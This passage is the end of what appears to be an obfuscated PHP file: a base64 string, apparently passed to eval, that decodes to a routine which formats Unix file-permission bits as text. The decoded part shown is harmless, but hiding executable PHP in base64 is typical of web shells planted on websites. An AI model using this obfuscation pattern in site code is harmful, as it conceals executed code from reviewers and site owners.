wMCkgPyAncycgOiAneCcgKSA6CigoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMTApID8gJ3cnIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgooKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CigoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgpyZXR1cm4gJGluZm87Cn0KPz4=")); ?>